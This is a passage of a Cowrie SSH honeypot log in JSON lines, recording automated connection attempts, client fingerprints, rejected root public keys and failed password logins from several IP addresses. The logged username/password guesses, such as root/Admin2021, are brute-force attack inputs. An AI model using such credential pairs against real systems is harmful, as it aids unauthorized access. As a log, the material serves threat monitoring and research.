0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:43.359928Z","src_ip":"91.92.42.133","session":"6f9fb7048b83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.85.130","src_port":57516,"dst_ip":"10.17.0.5","dst_port":22,"session":"929a81505488","protocol":"ssh","message":"New connection: 51.81.85.130:57516 (10.17.0.5:22) [session: 929a81505488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:43.482781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:43.487206Z","src_ip":"51.81.85.130","session":"929a81505488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:43.503296Z","src_ip":"51.81.85.130","session":"929a81505488","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:ba:20:c6:ba:70:6d:3b:84:88:89:7e:e4:b9:51:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCduPc9l0zhhzZ0HxFG/vQLcGuOENF0slWycTlf6IAD+g5DB7PI0Hy063UVkT0Uf/D5BESytIi1yltfsl6Dzx+tWCIIg5QREFqg9AIFQZ1DcoOgFacNY9UB/bi45MU4xtyV88RoIPUTQRR8ji8BdQXFBs6BuoB6ETeE8MnC3mFY7ej86ivWLPt9NDARa/Zs/sX2bTxIJpNaZc+jxW8p142abxoCNk8GBDZHmltBTFqViNoNfMEAde2+k+TV6jRAE2pu7nUGDLs5ZFdUZ1kNQoP3jmH02W/aWndpsW+nojNXSBq+3DtDHHvQTL8/JAThTUFyn92ExS8368Uz9wMALsGZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:ba:20:c6:ba:70:6d:3b:84:88:89:7e:e4:b9:51:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:43.550645Z","src_ip":"51.81.85.130","session":"929a81505488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:ba:20:c6:ba:70:6d:3b:84:88:89:7e:e4:b9:51:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCduPc9l0zhhzZ0HxFG/vQLcGuOENF0slWycTlf6IAD+g5DB7PI0Hy063UVkT0Uf/D5BESytIi1yltfsl6Dzx+tWCIIg5QREFqg9AIFQZ1DcoOgFacNY9UB/bi45MU4xtyV88RoIPUTQRR8ji8BdQXFBs6BuoB6ETeE8MnC3mFY7ej86ivWLPt9NDARa/Zs/sX2bTxIJpNaZc+jxW8p142abxoCNk8GBDZHmltBTFqViNoNfMEAde2+k+TV6jRAE2pu7nUGDLs5ZFdUZ1kNQoP3jmH02W/aWndpsW+nojNXSBq+3DtDHHvQTL8/JAThTUFyn92ExS8368Uz9wMALsGZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:43.554121Z","src_ip":"51.81.85.130","session":"929a81505488","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:74:c0:68:4c:d5:f2:56:eb:5e:55:c4:ed:6d:89:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCki0IR47KiAskQpBb5oceiczbwZCqjUtUt17pz0HUWR1fFCisHKj3Vz+M2Q+Bm7lEa4iIkMHVmF49qcZTMO+k3Ph6amA1XY0wdztO8iTdtiaKe1cp2oR2Xifr76fQXTLjzP905ReAqbKwmTryFRW2AIXwf7W3W/aB2Nc8pb0aWm0MDLajtoXlenQa+PuaAR2D0uDTwFlfnXDq33fQV4pNuhGQJUv3cWjb2+fwVoG8IJaLUHddPuJL69limN/3aECZfs6j0eIlpd+vGU+7UXh6sa3W6Fo3xXoUp91INoJ+qW0anE9EaUzmve6YNINkKQxIqJzN5H3Ld5aiRdse1gWBt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:74:c0:68:4c:d5:f2:56:eb:5e:55:c4:ed:6d:89:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:43.567231Z","src_ip":"51.81.85.130","session":"929a81505488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:74:c0:68:4c:d5:f2:56:eb:5e:55:c4:ed:6d:89:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCki0IR47KiAskQpBb5oceiczbwZCqjUtUt17pz0HUWR1fFCisHKj3Vz+M2Q+Bm7lEa4iIkMHVmF49qcZTMO+k3Ph6amA1XY0wdztO8iTdtiaKe1cp2oR2Xifr76fQXTLjzP905ReAqbKwmTryFRW2AIXwf7W3W/aB2Nc8pb0aWm0MDLajtoXlenQa+PuaAR2D0uDTwFlfnXDq33fQV4pNuhGQJUv3cWjb2+fwVoG8IJaLUHddPuJL69limN/3aECZfs6j0eIlpd+vGU+7UXh6sa3W6Fo3xXoUp91INoJ+qW0anE9EaUzmve6YNINkKQxIqJzN5H3Ld5aiRdse1gWBt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:43.570567Z","src_ip":"51.81.85.130","session":"929a81505488","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:27:61:d4:09:90:17:72:06:7f:6d:6e:1b:c6:45:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKnZZIcIt23fV5/xSOMONwHjXMNrYC4F7//AnGUwrAAbqroFVUFycq/B6R7FjvsttGZ6Gv3J+0BKjygp5UFdcvo0zSOlVB3IsDgFmS9f6pm30kYaKzTjmNlVHbWGj0UTyCXxrFGabZV3PEcppeaCYNBzIQfkbQj5lPGvFv4+fELbY5faIn5b7k0r3Qy7ttPJ1I+/+0W+p2aC+Tu9QX4Wtzl22ZAZSwRnFn2Or74u2/UtEjOhyqt5sG2ES/zqFckAJU8taoH6IWhHjAht1Ww+L5Oxfycpef90nTCQB05rE4hzSL0YM1MToWWrUbO0RA+UyjRZoszUu+xQffYmWIrcPj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:27:61:d4:09:90:17:72:06:7f:6d:6e:1b:c6:45:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:43.583809Z","src_ip":"51.81.85.130","session":"929a81505488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:27:61:d4:09:90:17:72:06:7f:6d:6e:1b:c6:45:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKnZZIcIt23fV5/xSOMONwHjXMNrYC4F7//AnGUwrAAbqroFVUFycq/B6R7FjvsttGZ6Gv3J+0BKjygp5UFdcvo0zSOlVB3IsDgFmS9f6pm30kYaKzTjmNlVHbWGj0UTyCXxrFGabZV3PEcppeaCYNBzIQfkbQj5lPGvFv4+fELbY5faIn5b7k0r3Qy7ttPJ1I+/+0W+p2aC+Tu9QX4Wtzl22ZAZSwRnFn2Or74u2/UtEjOhyqt5sG2ES/zqFckAJU8taoH6IWhHjAht1Ww+L5Oxfycpef90nTCQB05rE4hzSL0YM1MToWWrUbO0RA+UyjRZoszUu+xQffYmWIrcPj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:43.586642Z","src_ip":"51.81.85.130","session":"929a81505488","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:f6:d0:2d:f0:e2:89:4d:2f:9d:d0:e1:53:0b:7f:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDeQq3HLPhnnpW8Lb2irbTAKlIdWDWjpwOTp+QEzLBUD5h1dKr8Rz6REOUbhOCOYqyIyTAUCjIImvXcxt3+t8SrkOZ8Xo2nIZH0ggQZ0mVrT9jX//gFf5oP4FoU1ThsN70Z2FJvT4SBw1WF8PbyfUIsffWNIx4ock3iI4Q6aZDe7rglGL365IPJJG2+JS4aqeswrxB1DUyY9+2n5F8ZTCfoVJsPZSKI+F5UX+Uet648oEo4dRlyVNkPqPLdN2KK6spr6fGZpcMvmzsPIQQGPJvYu8JEy8LPs+bJsGUSiL8LyrBA+ZEWhKZvCLKBAYd7KMA3ai8JPhXkOB/PZLhC4VvZArGpZtZ9wvIuB64wu+XpKFRWuT0P/UKMcNmCthNHOJqLGmGdrP95GW2Mgg1/Ok8khBJ4I1ARSy17ConiZxGo/Lcg7pXb3Tp6GBtID07VjWOVbylE71eJJPHuVJnmSeP+J2nm5dTac7wfG22WWaHptPyyRdgAFr8+jBjUys+RKMnvI95J6OA3lOmQEseoZMjZNZLcpsAvbqUBFdLyHWpRKrXTQaSaUyXKF4PtLqW7b5nb9FTCg2VORPtJxIr27IY0q80/Pyf7PHeGekuZPl+ncjQf92k/aKssRpm+qpgVr90k3hfU+Mt7SfdIMW9X+cIc5Mt1LPFt9v+RRY+x+UcW2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:f6:d0:2d:f0:e2:89:4d:2f:9d:d0:e1:53:0b:7f:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:43.638068Z","src_ip":"51.81.85.130","session":"929a81505488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:f6:d0:2d:f0:e2:89:4d:2f:9d:d0:e1:53:0b:7f:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDeQq3HLPhnnpW8Lb2irbTAKlIdWDWjpwOTp+QEzLBUD5h1dKr8Rz6REOUbhOCOYqyIyTAUCjIImvXcxt3+t8SrkOZ8Xo2nIZH0ggQZ0mVrT9jX//gFf5oP4FoU1ThsN70Z2FJvT4SBw1WF8PbyfUIsffWNIx4ock3iI4Q6aZDe7rglGL365IPJJG2+JS4aqeswrxB1DUyY9+2n5F8ZTCfoVJsPZSKI+F5UX+Uet648oEo4dRlyVNkPqPLdN2KK6spr6fGZpcMvmzsPIQQGPJvYu8JEy8LPs+bJsGUSiL8LyrBA+ZEWhKZvCLKBAYd7KMA3ai8JPhXkOB/PZLhC4VvZArGpZtZ9wvIuB64wu+XpKFRWuT0P/UKMcNmCthNHOJqLGmGdrP95GW2Mgg1/Ok8khBJ4I1ARSy17ConiZxGo/Lcg7pXb3Tp6GBtID07VjWOVbylE71eJJPHuVJnmSeP+J2nm5dTac7wfG22WWaHptPyyRdgAFr8+jBjUys+RKMnvI95J6OA3lOmQEseoZMjZNZLcpsAvbqUBFdLyHWpRKrXTQaSaUyXKF4PtLqW7b5nb9FTCg2VORPtJxIr27IY0q80/Pyf7PHeGekuZPl+ncjQf92k/aKssRpm+qpgVr90k3hfU+Mt7SfdIMW9X+cIc5Mt1LPFt9v+RRY+x+UcW2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:43.640694Z","src_ip":"51.81.85.130","session":"929a81505488","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:5f:8c:0c:71:1f:59:39:83:76:11:5f:f0:e5:7b:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmaC7Jj2bFKpuUISFuy7dndkQ6xaV7BCDXrx1Ga1P1tsxB8YCXw+Cn0WPiou0n+gxCyG6VsuTW+9SVUaalGOsaQQgpxvJ1/Smm7PtT2CI+U6ZzmwO3qPuNDV8tT3+bUDqlxivUvWDUkXYc1Rm7EDc9SRI6cI7ADaEQmv6jsAtUB/Zy0u22bICjerfFCTbkjhAPaJLbDX3D+jXJfCagw7ti8DmRTDZyG483I7VI6vOhiCauj3civitsNQnKFyN9YIdh03JBzOzaHHqYK88ElB/9OC0hCdwZd9abtT6Pa0NmFAX7RFixSAFDiisoqNh5oETH+KJiX/bQVVXn6YiKusVIw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:5f:8c:0c:71:1f:59:39:83:76:11:5f:f0:e5:7b:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:43.654155Z","src_ip":"51.81.85.130","session":"929a81505488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:5f:8c:0c:71:1f:59:39:83:76:11:5f:f0:e5:7b:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmaC7Jj2bFKpuUISFuy7dndkQ6xaV7BCDXrx1Ga1P1tsxB8YCXw+Cn0WPiou0n+gxCyG6VsuTW+9SVUaalGOsaQQgpxvJ1/Smm7PtT2CI+U6ZzmwO3qPuNDV8tT3+bUDqlxivUvWDUkXYc1Rm7EDc9SRI6cI7ADaEQmv6jsAtUB/Zy0u22bICjerfFCTbkjhAPaJLbDX3D+jXJfCagw7ti8DmRTDZyG483I7VI6vOhiCauj3civitsNQnKFyN9YIdh03JBzOzaHHqYK88ElB/9OC0hCdwZd9abtT6Pa0NmFAX7RFixSAFDiisoqNh5oETH+KJiX/bQVVXn6YiKusVIw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:43.656311Z","src_ip":"51.81.85.130","session":"929a81505488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:43.668872Z","src_ip":"51.81.85.130","session":"929a81505488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":54410,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7b7f392224a","protocol":"ssh","message":"New connection: 27.71.230.31:54410 (159.203.135.109:22) [session: a7b7f392224a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:43.878710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:43.974564Z","src_ip":"27.71.230.31","session":"a7b7f392224a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:44.489791Z","src_ip":"27.71.230.31","session":"a7b7f392224a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:44.636024Z","src_ip":"91.92.42.133","session":"6f9fb7048b83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:45.912093Z","src_ip":"91.92.42.133","session":"6f9fb7048b83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":57079,"dst_ip":"159.203.135.109","dst_port":22,"session":"0276e901e8be","protocol":"ssh","message":"New connection: 112.216.108.62:57079 (159.203.135.109:22) [session: 0276e901e8be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:49.614184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:49.618992Z","src_ip":"112.216.108.62","session":"0276e901e8be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:49.827058Z","src_ip":"112.216.108.62","session":"0276e901e8be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43702,"dst_ip":"159.203.135.109","dst_port":22,"session":"f69f20d78bc0","protocol":"ssh","message":"New connection: 91.92.42.133:43702 (159.203.135.109:22) [session: f69f20d78bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:50.243449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:50.454789Z","src_ip":"91.92.42.133","session":"f69f20d78bc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:50.457887Z","src_ip":"91.92.42.133","session":"f69f20d78bc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"feelware","password":"feelware","message":"login attempt [feelware/feelware] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:50.674420Z","src_ip":"112.216.108.62","session":"0276e901e8be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:51.880456Z","src_ip":"112.216.108.62","session":"0276e901e8be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456789","message":"login attempt [deploy/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:51.922308Z","src_ip":"91.92.42.133","session":"f69f20d78bc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:53.075310Z","src_ip":"91.92.42.133","session":"f69f20d78bc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2021","message":"login attempt [root/Admin2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:56.161852Z","src_ip":"27.71.230.31","session":"a7b7f392224a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":39982,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e7b7a330c31","protocol":"ssh","message":"New connection: 91.92.42.133:39982 (159.203.135.109:22) [session: 3e7b7a330c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:57.549037Z"}
{"eventid":"cowrie.session.closed","duration":"13.9","message":"Connection lost after 13.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:57.731889Z","src_ip":"27.71.230.31","session":"a7b7f392224a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:57.738878Z","src_ip":"91.92.42.133","session":"3e7b7a330c31","protocol":"ssh"}
